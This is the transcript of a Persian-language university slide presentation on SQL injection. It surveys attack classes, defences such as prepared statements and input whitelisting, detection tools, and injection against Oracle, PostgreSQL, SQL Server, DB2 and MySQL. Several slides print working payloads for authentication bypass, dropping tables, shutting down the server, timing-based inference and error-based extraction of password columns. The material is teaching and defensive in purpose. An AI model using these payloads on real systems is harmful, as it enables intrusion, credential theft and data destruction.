SQL Injection Attack (SQLIA)

Slides:



Advertisements
Similar presentations
معاونت درمان امور مامایی اردیبهشت 90. برای ثبت اطلاعات در برنامه نرم افزاری نظام مراقبت مرگ پریناتال ابتدا لازم است برنامه نرم افزار info-path وپرنیان.
Advertisements

انواع اصلی عامل ها.
فاکتورهای مهم در ایجاد یک مقاله علمی
Professor: Dr. Ahmad Abdollahzadeh Amirkabir University of Technology, Computer Engineering and Information Technology Department Intelligent Systems Laboratory.
محدثه گل پرور, ملاحت ملکی استاد راهنما : مهندس برادران هاشمی.
ارائه روشي براي شناسايي کاراکترهاي دستنويس، برپايه شبکه LVQ.
Decision Tree.
نام و نام خانوادگي : فريد ملازم 1 آزمايشکاه سيستم هاي هوشمند ( موضوع ارائه Process and Deployment Design.
مراحل مختلف اجرای يک برنامه
فایل پردازی در C File based Programming in C. انواع فایل متنی –سرعت بالا –حجم کمتر –امکان دسترسی تصادفی –حفظ امنیت داده ها دودویی (باینری) –امکان باز.
1 Network Address Translation (NAT). 2 Private Network شبکه خصوصی شبکه ای است که بطور مستقیم به اینترنت متصل نیست در یک شبکه خصوصی آدرس های IP به دلخواه.
Internet Protocol Security An Overview of IPSec. رئوس مطالب:  مشکلات امنیتی چیست؟  مفهوم TCP/IP  امنیت در چه سطحی؟  IP Security  سرویسهای IPSec Security.
1 بنام خدا زبان برنامه نویسی C (21814( Lecture 14 Structures.
Database Laboratory: Session #4 Akram Shokri. DB-Lab 2 Lab Activity You must already created all tables You have to have inserted proper data in tables.
In the next lectures you will learn  What is SQL  How to access mySQL database  How to create a basic mySQL database  How to use some basic queries.
روابط مجموعه ها سلیمی. دکتر سلیمانی. نظریه فازی در سال 1965 بوسیله یک دانشمند ایرانی بنام پروفسور لطفی زاده معرفی گردید. گرچه این نظریه در ابتدا با.
SQL Injection Attacks S Vinay Kumar, 07012D0506. Outline SQL Injection ? Classification of Attacks Attack Techniques Prevention Techniques Conclusion.
پیاده سازی کنترلر PC/104. Contents PC/104 پیاده سازی کنترلر HILتست 1.
تهیه و تنظیم: فاطمه قاسمی دانشگاه صنعتی شریف – پاییز 86
پروژه درس امنیت پایگاه داده ساجده حرّاز نرگس یوسف نژاد
تمرین هفتم بسم الله الرحمن الرحیم درس یادگیری ماشین محمدعلی کیوان راد
معرفی پرتال سازمانی درسا مرکز فناوری اطلاعات و ارتباطات
ویژگی های DHCP جلوگیری از Conflict سرعت بخشیدن به کارها مدیریت متمرکز
بنام خدا زبان برنامه نویسی C (21814( Lecture 12 Selected Topics
SY800 router mode [AD-14-TB ].
دانلود جدیدترین مقالات برق الکترونیک و کامپیوتر
آشنایی مقدماتی با نرم افزار Endnote X4
تحلیل و طراحی سیستم ها بخش ششم کتاب توربان.
آزمایشگاه پایگاه داده ها قیود در جداول یک پایگاه داده در SQL Server
برنامه ریزی خطی پیشرفته (21715( Advanced Linear Programming Lecture 11
استانداردهای تصاویر دیجیتال پزشکی با فرمت دایکام DICOM در سیستم PACS
اتصال به اتوماسیون اداری (چارگون)
چگونه بفهمیم آیا ژورنالی ISI است؟ ایمپکت فاکتور دارد یا خیر؟
دانشگاه علوم پزشکی شهید بهشتی
طراحی امنیت پایگاه داده ها
نرم افزار نگهداری و تعمیرات مبتنی بر مدیریت دانش نت CMMS-MKMS
به نام خدا.
بررسی قطبش در لیزر های کاواک عمودی گسیل سطحی(vcsel)
SSO Single Sign-on Systems
آشنایی با سیستم های بررسی تنظیمات سیستم عامل
آشنایی با پایگاه داده mysql
SE Dept.2 تهیه کنندگان: ملیحه اسکندری نسیبه پوتی
مدارهای منطقی فصل سوم - خصوصیات توابع سويیچی
آشنایی مقدماتی با نرم افزار Endnote X4
عنوان دانشجو: نام دانشجو رشته تحصیلی: رشته تحصیلی، گرایش
پروتکل ها و سرویس های شبکه تهدیدها و راهکارهای امنیتی
ASP.NET فرناز شریعت.
ممیزی پایگاه داده مریم آزادمنش بهار90.
تهیه و تنظیم: فاطمه قاسمی دانشگاه صنعتی شریف – پاییز 86
Ali Karimpour Associate Professor Ferdowsi University of Mashhad
بررسی چرخه‌های ارائه شده جهت توسعه امن نرم‌افزار(1)
وبلاگ جامع مهندسی برق و الکترونیک
راهنمای استفاده از ابزار Mailings در Ms Word
تدريس يار: ميثم نظرياني
آشنایی مقدماتی با نرم افزار Endnote X4
به نام خدا اين فايل راهنما جهت آشنايی کاربران گرامی با پايگاه اطلاعاتی Sciencedirect و نحوه جستجوی اطلاعات در آن تهيه شده است لطفاً اسلايدهای بعد را مشاهده.
بسم الله الرحمن الرحیم هرس درخت تصمیم Dr.vahidipour Zahra bayat
آشنایی مقدماتی با نرم افزار Endnote
کاربرد کامپیوتر در داروخانه
جستجوی منابع الکترونیک
سمینار SharePoint رانندگی در بزرگراه پرتال ها
فصل ششم مدارهای ترتیبی.
فرشاد آقابزرگی هوش تجاری
ابزارهای جستجوی پایان نامه
دکتر مظفر بگ محمدی دانشگاه ایلام
سخت افزارهای امنیتی Hardware Security تهیه و ارایه : یونس جوان.
به نام یکتای دانا فصل اول: متدها و قواعد.
فصل 8 –Process and Deployment
کتابخانه دانشکده پرستاری و مامایی دانشگاه علوم پزشکی شهید بهشتی
آشنایی با فرایند داده کاوی در نرم افزار R گروه داده کاوی دایکه داود دوروش تابستان 6139.
Presentation transcript:

SQL Injection Attack (SQLIA) دانشگاه صنعتی شریف SQL Injection Attack (SQLIA) پروژه درس امنیت پایگاه داده استاد راهنما: دکتر جلیلی تهیه کنندگان: زهره فتح آبادی فاطمه قدس فهیمه جوانمرد بهار 1390

فهرست مطالب تعریف SQLIA انواع حملات SQLIA روش های دفاع در مقابل SQLIA مقایسه روش ها بررسی SQLIA در پایگاه داده های مهم

تعریف SQLIA تهدید کاربردهای تحت وب فرار از احراز هویت دسترسی غیر مجاز به اطلاعات موجود در پایگاه داده

انواع حملات SQLIA Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Tautologies attack اضافه کردن کد به قسمت های شرطی هدف : فرار از احراز هويت و استخراج داده مثال: وارد کردن عبارت ’ or 1=1 - - بجاي نام کاربري در ورودي: SELECT accounts FROM users WHERE login=’’ or 1=1 -- AND pass=’’ AND pin=

انواع حملات SQLIA (ادامه) Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Illegal/Logically Incorrect Queries attack: خطای نحوی ← شناسایی پارامترهاي آسيب پذير پايگاه داده خطاهاي منطقي ← آشکار شدن نام جدول ها و ستون ها خطاهاي تبديل نوع ← بدست آوردن نوع داده يک ستون خاص یا استخراج داده مثال: نوشتنconvert (int,(select top 1 name from sysobjects where xtype=’u’)) در قسمت pin : SELECT accounts FROM users WHERE login=’’ AND pass=’’ AND pin= convert (int,(select top 1 name from sysobjects where xtype=’u’)) پیغام خطا در sql: "Microsoft OLE DB Provider for SQL Server (0x80040E07) Error converting nvarchar value ’CreditCards’ to a column of data type int." حمله کننده نام پايگاه داده و نام جدول و نوع ستون را مي فهمد

انواع حملات SQLIA (ادامه) Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Union Query attack اضافه کردن Union به query اصلی هدف : تغییر رکوردهای برگشتی از پایگاه داده برای فرار از احراز هویت یا استخراج داده مثال: مشاهده ی اطلاعات جدول اصلي و جدول وارد شده توسط حمله کننده در قسمت union، از طریق وارد کردن عبارت زير در قسمت login: “’ UNION SELECT cardNo from CreditCards where acctNo=10032 - -” SELECT accounts FROM users WHERE login=’’ UNION SELECT cardNo from CreditCards where acctNo=10032 -- AND pass=’’ AND pin= اطلاعات جدول دوم نيز براي شرط مورد نظر نمايش داده مي شود

انواع حملات SQLIA (ادامه) Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Piggy- Backed Queries attack اضافه کردن query هاي ديگري به query اصلی جهت منع سرويس ، تغيير داده ، استخراج داده و اجراي دستورات راه دور. مثال: وارد کردن عبارت زير در فيلد pass : “’; drop table users - -” SELECT accounts FROM users WHERE login=’doe’ AND pass=’’; drop table users -- ’ AND pin=123 پاک شدن تمام جدول های کاربر

انواع حملات SQLIA (ادامه) Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Stored Procedures attack هدف : منع سرویس یا اجرای دستورات از راه دور مثال: طبق Stored Procedure زير: CREATE PROCEDURE DBO.isAuthenticated @userName varchar2, @pass varchar2, @pin int AS EXEC("SELECT accounts FROM users WHERE login=’" +@userName+ "’ and pass=’" +@password+ "’ and pin=" +@pin); GO با وارد کردن “ ’ ; SHUTDOWN; - -” در فيلد pass: SELECT accounts FROM users WHERE login=’doe’ AND pass=’ ’; SHUTDOWN; -- AND pin= خاموش شدن پايگاه داده و نمی توان برای مدتی از آن استفاده کرد.

انواع حملات SQLIA (ادامه) Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Inference attack شناسایی پارامتر های آسیب پذیر و کسب اطلاعات از طریق وارد کردن دستورات مختلف و بررسی جواب ها. اين مورد شامل دو نوع حمله مي باشد: Blind Injection : استنتاج اطلاعات با توجه به رفتار صفحه . مثال: وارد کردن “legalUser’ and 1=0 - -” و “legalUser’ and 1=1 - -” را در قسمت login در دو مرحله :   SELECT accounts FROM users WHERE login=’legalUser’and 1=0 -- ’ AND pass=’’ AND pin=0 SELECT accounts FROM users WHERE login=’legalUser’ and 1=1 -- ’ AND pass=’’ AND pin=0 صفحه امن باشد ← پيام خطاي نامعتبر بودن login ← پارامتر login آسيب پذير نيست؛ صفحه نا امن باشد ← اگر query دوم بدون خطا اجرا شود ← پارامتر login آسيب پذير است.

INFERENC ATTACK (ادامه) Timing Attack : کسب اطلاعات از طریق تاخیر در جواب query. مثال: وارد کردن مقدار زيردر فيلد login : ‘‘legalUser’ and ASCII(SUBSTRING((select top 1 name from sysobjects),1,1)) > X WAITFOR 5 --’’ SELECT accounts FROM users WHERE login=’legalUser’ and ASCII( SUBSTRING( (select top 1 name from sysobjects),1,1)) > X WAITFOR 5 -- ’ AND pass=’’ AND pin=0 تغییر مقدار x با توجه به میزان تاخیر و بدست آوردن نام اولین جدول طی چند مرحله

انواع حملات SQLIA (ادامه) Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings

Alternate Encodings attack تغییر ظاهر ورودي توسط حمله کننده جهت فرار از راه های جلوگیری و مورد حمله قرار دادن آسيب پذيري هاي موجود . مثال: وارد کردن عبارت “legalUser’; exec(0x73687574646f776e) - - ” در فيلد login SELECT accounts FROM users WHERE login=’legalUser’; exec(char(0x73687574646f776e)) -- AND pass=’’ AND pin= خاموش شدن پايگاه داده

روشهای دفاع در مقابل SQLIA Prepared statement Stored Procedure Escaping All User Supplied Input Least Privilege White List Input Validation

Prepared statement پارامتری کردن query تعریف کامل کد sql بدون دادن مقادیر پارامترها اعمال type checking قوی روی پارامترها و در انتها پاس دادن پارامتر بهquery جلوگیری از مقادیر ورودی غیر مجاز مانند ‘ or 1=1 – استفاده از آن در زبان های مختلف : استفاده از preparedstatement در javaEE استفاده از sqlcommand یا OleDbCommand در .Net استفاده از PDO در PHP (بسیار قوی) استفاده از CreateQuery در Hibernate و ..... مثال: استفاده از preparedstatement در جاوا : String custname = request.getParameter("customerName"); SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );

Stored procedure در صورت پیاده سازی امن (جلوگیری از ایجاد query داینامیک در داخل بدنه) ذخیره بدنه در پایگاه داده (بر خلاف preparedStatement) مزایا : مزیت امنیتی : محدود کردن دسترسی کاربران به استفاده از stored procedure (عدم امکان اجرای query داینامیک) مزیت غیر امنیتی : جمع آوری کد های sql در یک مکان و نگهداری آنها دور از دسترس کاربران مثال: استفاده از stored procedure به صورت امن در جاوا : String custname = request.getParameter("customerName"); CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery();

Escaping User Input ایجاد یک blacklist از کاراکترهایی که باید ترجمه شوند. تغییر کاراکترهای با معنی در query (جایگزینی( ‘ ) با (‘ ‘) ) مثال : استفاده از تابع () mysql_real_escape_string در PHP : $query = sprintf("SELECT * FROM `Users` WHERE UserName='%s' AND Password='%s'", mysql_real_escape_string($Username), mysql_real_escape_string($Password)); mysql_query($query); دارای ریسک( ممکن است یک سری کاراکتر فراموش شود) استفاده از این روش در oracle ، my sql و sql server

Least privilege کاهش اثر SQLIA از طریق اعطای privilege کمتر به کاربران پایگاه داده دادن دسترسی read به کاربری که فقط حق read دارد. استفاده از view برای کاربرانی که به قسمتی از یک جدول باید دسترسی داشته باشند. عدم دسترسی مستقیم کاربران به پایگاه داده با استفاده از stored procedure عدم اجرای DBMS به عنوان root یا system مثال : MySql به صورت پیش فرض به صورت system روی windows اجرا می شود.

White List Input Validation تعریف دقیق ورودی های معتبر اعتبار سنجی ورودی قبل از فرستادن آن به query ایجاد ساختار اعتبارسنجی قوی بر اساس regular expression ها برای ورودی هایی که فرمت خاصی دارند مانند آدرس email ، zipcode ،تاریخ انتخاب یکی از مقادیر در ورودی های ثابت مانند لیست ها ورودی های text free (مشکل ترین مورد) محدود کردن طول ورودی یا عدم استفاده از کاراکترهای non printable استفاده از توابع اعتبارسنجی ابزار ESAPI مانند : getValidDate() getValidCreditCard() getValidSafeHTML() getValidInput() getValidNumber() getValidFileName() getValidRedirectLocation()

(ادامه)White List Input Validation مثال :استفاده از regular expression در جاوا : private static final Pattern zipPattern = Pattern.compile("^\d{5}(-\d{4})?$"); public void doPost( HttpServletRequest request, HttpServletResponse response) { try { String zipCode = request.getParameter( "zip" ); if ( !zipPattern.matcher( zipCode ).matches(){ throw new YourValidationException( "Improper zipcode format." ); } .. do what you want here, after its been validated .. } catch(YourValidationException e ) { response.sendError( response.SC_BAD_REQUEST, e.getMessage() );

ابزارهای پيشگيري SQLIA WAVES: تکنیک تست جعبه سیاه شناسایی تمام نقاط مورد هدف SQLIA بهبود حمله با استفاده از تکنيک يادگيري ماشين بررسی واکنش کاربرد در مقابل حملات کامل نیست DBC-Checker : روش بررسی ایستای کد بررسی صحت query های دايناميک شناسایی تعداد محدودي از حمله ها WebSSARI : پشتیبانی از PHP علامتگذاری قسمت های آسیب پذیر کد (runtime guard) کنترل اطلاعات نامعتبر با قرار دادن توابع پاکسازي درقسمت های آسیب پذیر.

ابزارهای پيشگيري SQLIA(ادامه) Java Static Tainting: استفاده از ورودی های معتبر کاربر به طور نادرست(taint) بررسی کد به طور ایستا جهت پیدا کردن taint بررسی جریان اطلاعاتی جهت شناسایی زمان استفاده ی ورودي taint در ساختار query. ایراد روش : شناسایی ساختارهاي شناخته شده SQLIA تولید false positive زياد SecuriFly: استفاده از زبان PQL بررسی جریان داده ها به کاربرد پاکسازی ورودي هاي taint قبل از آسیب دیدن سیستم توسط حملات استفاده از بایت کد به جای کد اصلی SQL DOM: کپسوله کردن پايگاه داده استفاده از API جهت بررسی query به جاي ایجاد query توسط الحاق يک سري رشته. استفاده از type checking برای بررسی ورودی در API

مقایسه ابزارهای پیشگیری

ابزارهای تشخيص SQLIA SQL Guard : SQL Check : Proxy filtering : دارای تحليل ايستا و پويا ایجاد مدل برای ورودی های درست مقایسه ورودی کاربر با مدل در صورت عدم کشف کليد روشی امن است . SQL Check : مشابه روش قبل تفاوت : ایجاد مدل به طور مستقل توسط طراح Proxy filtering : اعمال محدوديت توسط زبان توصيف خط مشي امنيتي (SPDL) به پارامترهای کاربردی، قبل از ارسال آنها به سرور. ایراد روش: طراحان بايد بدانند روي چه داده اي و با چه ساختاري فيلترينگ بايد انجام گيرد. SQLrand: استفاده از دستورالعمل تصادفي به جاي کلمات کليدي sql و تبدیل آنها در پايگاه داده توسط proxy filter، به کلمات کليدي sql. ایراد روش: استفاده از کلید برای تغییر دستورات؛ سربار زیاد بدلیل استفاده از proxy. SAFELI: روشی جهت تشخيص آسيب پذيري ها در زمان کامپايل. تشخیص آسیب پذیری های شناخته نشده توسط جعبه سیاه ایراد روش: فقط برای مايکروسافت می باشد.

ابزارهای تشخيص SQLIA (ادامه) Java Dynamic Tainting: بررسی کد جهت پيدا کردن taint در زمان اجرا استفاده از flag برای علامت گذاری ورودی taint استفاده از untainting برای جمله های ساخته شده از taint SWaddler : يک روش تشخيص مبتني بر خطا جهت تشخیص حملات روی کاربردهای وب پیدا کردن رابطه ي بين نقاط اجرايي حياتي کاربرد و وضعيت داخلي کاربرد جهت تشخیص حمله. Tautology Checker: روشی جهت تشخيص حمله ی tautology . AMNESIA: روشی مبتنی بر مدل و دارای تحلیل ایستا و پویا تحلیل ایستا : ایجاد مدل برای انواع query های درستی که کاربر می تواند وارد کند تحلیل پویا : مقایسه query کاربر با مدل واکنش خوب در مقابل حملات SQLI وابسته به مرحله توليد مدل ايستا CANDID: برای زبان جاوا تشخیص ساختار query با روش dynamic candidate evolution تشخیص حمله با مقایسه query کاربر با ساختار مورد نظر برنامه نویس. بسیار مناسب جهت تشخیص حملات sql.

مقایسه روش های تشخیص

نتیجه مقایسه روش ها عدم تشخیص یا پیشگیری stored procedure در اکثر ابزارها تشخیص و پیشگیری tautology attack در اکثر ابزارها

بررسی SQLIA در پایگاه داده های مهم Oracle SQL injection in webapps SQL injection in postgresql SQL Injection in SQL Server SQL injection in DB2 SQL injection in MySQL

Sql injection in postgresql Sleep function: using Dollar singes & base64 encoder: to Bypassing magic singe Blind sql injection

Exploiting Blind SQL Injection in PostgreSQL: Identification of table and column name با استفاده از آسیب blind sql injection و بر پایه ی brute force attack Table Data Retrieval برای این کار حمله کننده از Brute force characters برای هر سطر، از طریق تابع substr()، strpos() و یا get_byte استفاده می کند.

Oracle SQL injection in webapps استفاده از ترکیب مجاز scott / tiger یا (‘) single quote تعیین ورژن پایگاه داده: خطای کاراکتر اضافی: ‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))– تبدیل POSTs به GETs با استفاده ازwebdeveloper plugin . خطای access deny و استفاده از ctxsys.drithsx.sn بجای .utl_inaddr استفاده از ‘ or 1=1- - و موفقیت در login شدن تشخیص ورژن پایگاه داده از خطا دریافت تمام ستون ها از پیغام خطا: ( با استفاده از || و stragg ) ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct banner)||’ ‘ from v$version))– شناسایی privilege هایمان: ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct granted_role||’;') from user_role_privs))– بدست آوردن تمام جداول با استفاده از ستون پسورد: ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where column_name=’PASSWORD’))– استخراج تمام پسوردهای این جدول: ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct password||’;') from shop.shopuser))– بازیابی محتوی تمام جداول، بدون استفاده از UNION SELECT

SQL Injection in SQL Server: دسترسی به account اي با مجوز صدور دستور 'OPENROWSET‘ تصدیق هویت و اجازه حدس پسورد ترکیب 'OPENROWSET‘ با درايورهاي ODBC براي خواندن محتواي صفحات گسترده ي Excel، local MS Access databases و فايل هاي متني انتخابي. Timing attack: waitfor delay '0:0:5' راه حل: استفاده از parameterised API ( اعتبارسنج ورودی جامع) استفاده از registry patch جهت غیر فعال کردن دسترسي به پرس و جو هاي 'ad-hoc' توسط OPENROWSET . اجازه ي اجراي پرس و جوهاي دلخواه، توسط منبع غيرمعتمد را ندهيم. نیاز به فيلترينگ شبکه ي مناسب و برنامه هاي کاربردي مناسب جهت تاييد اعتبار ورودي

SQL injection in DB2 database با فرض فعال بودن detailed error messages: اگر Username = ‘ or 1=1— ملاحظه ی صفحه ای شامل: Welcome Bob اگر Username = ‘ group by 1—؛ (جهت بدست آوردن سایر ستون ها) An expression starting with "NAME" specified in a SELECT clause<snip>   اگر Username = ‘ group by name— An expression starting with "SOCIAL_SECURITY_NO" specified in a SELECT clause<snip> یافتن نام جدول با استفاده از brute force attack: Username = ‘ or ‘ ‘ or ; 9,9,9  An unexpected token "from applogin where name = '' OR" was found<snip> استخراج پسورد داده ها : Username = ' union all select concat(name,password) as name ,'a','a','a' from applogin where name > 'c'; دریافت صفحه ای شامل: Welcome joeqwerty

MySQL : MySQL.com Victim of SQL Injection Attack با استفاده ازURL زیر و استفاده از id های متفاوت می توان به Customer View های مختلف این سایت، دسترسی پیدا کرد. در پیامی به یک mailing list، اطلاعات بیشتر مثل زیر دریافت می شود:

MySQL (cont.) یافتن ورژن MySQL: Timing Attack در Blind Injection: قرار دادن benchmark timer در injected payload. مثال: w بعنوان اولین حرف نام پایگاه داده. یافتن ورژن MySQL: مثالی از چند توابع مفید دیگر: نسخه برداری از شمای پایگاه داده و نیاز به دانستن ساختار directory سرور.

راه حل: استفاده از Mysql_escape_string برای تمام sql query ها؛ استفاده از bind variable و استفاده از parametrized sql statement جهت جلوگیری از string concatenation؛ استفاده از پسوردهای قوی. مرتبا آسیب پذیری ها چک شوند؛ بروز رسانی وب سایت ها با کدها و application های جدید؛ تست جهت بررسی نیازهای امنیتی بوسیله ی ابزارهای قوی.

مراجع William G.J. Halfond, Jeremy Viegas, and Alessandro Orso , “A Classification of SQL Injection Attacks and Countermeasures “, College of Computing Georgia Institute of Technology,IEEE ,2006 , Pages:1-11 S. W. Boyd and A. D. Keromytis. SQLrand: Preventing SQL Injection Attacks. In Proceedings of the 2nd Applied Cryptography and Network Security (ACNS) Conference, pages 292-302. June 2004. Atefeh Tajpour , Maslin Massrum , Mohammad zaman Heydari ,” Comparison of SQL Injection Detection and Prevention Techniques”, 2nd International Conforence on Education Technology and Computer (ICETC) , 2010 , Pages : 1-6 Prithvi Bisht, P. Madhusudan. CANDID: Dynamic Candidate Evaluations for Automatic Prevention of SQL Injection Attacks.Proceedings of the 14th ACM Conference on Computer and Communications Security. 2007. USA: ACM, Pages 3-4. V. Haldar, D. Chandra, and M. Franz. Dynamic Taint Propagation for Java. In Proceedings 21st Annual Computer Security Applications Conference, Dec. 2005 . M. Martin, B. Livshits, and M. S. Lam. Finding Application Errors and Security Flaws Using PQL: A Program Query Language. In Proceedings of the 20th Annual ACM SIGPLAN conference on Object oriented programming systems languages and applications (OOPSLA 2005). Y. Huang, F. Yu, C. Hang, C. H. Tsai, D. T. Lee, and S. Y. Kuo. Securing Web Application Code by Static Analysis and Runtime Protection. In Proceedings of the 12th International World Wide Web Conference (WWW 04), May 2004. Marco Cova, Davide Balzarotti. Swaddler: An Approach for the Anomaly-based Detection of State Violations in Web Applications. In Proceedings of the 10th International Symposium on Recent Advances in Intrusion Detection (RAID), (Queensland, Australia), September 5-7, 2007. “SQL Injection in Oracle Forms V1.01 from “Red-Database-Security GmbH, 2005. Cyrus Peikari, Seth Fogie, “Guarding Against SQL Server Attacks:Hacking, cracking, and protection techniques”, AirScanner, 2003. Chris Anley, “Advanced SQL Injection “, An NGSSoftware Insight Security Research (NISR), 2002. Atefeh Tajpour , Maslin Massrum , Mohammad zaman Heydari, Suhaimi Ibrahim, SQL Injection Detection and Prevention Tools Assessment, IEEE,2010,Pages 1-5 J. Pullicino,” MySQL.com Victim of SQL Injection Attack, April 2011. L. Juranic, “Advanced PostgreSQL SQL Injection and Filter Bypass Techniques”,INFIGO-TD, 2009. S. Kost,”An Introduction to SQL Injection Attacks for Oracle Developers”, March 2009. “How to mine data from a DB2 database with SQL injection”, archives.neohapsis.com.

با تشكر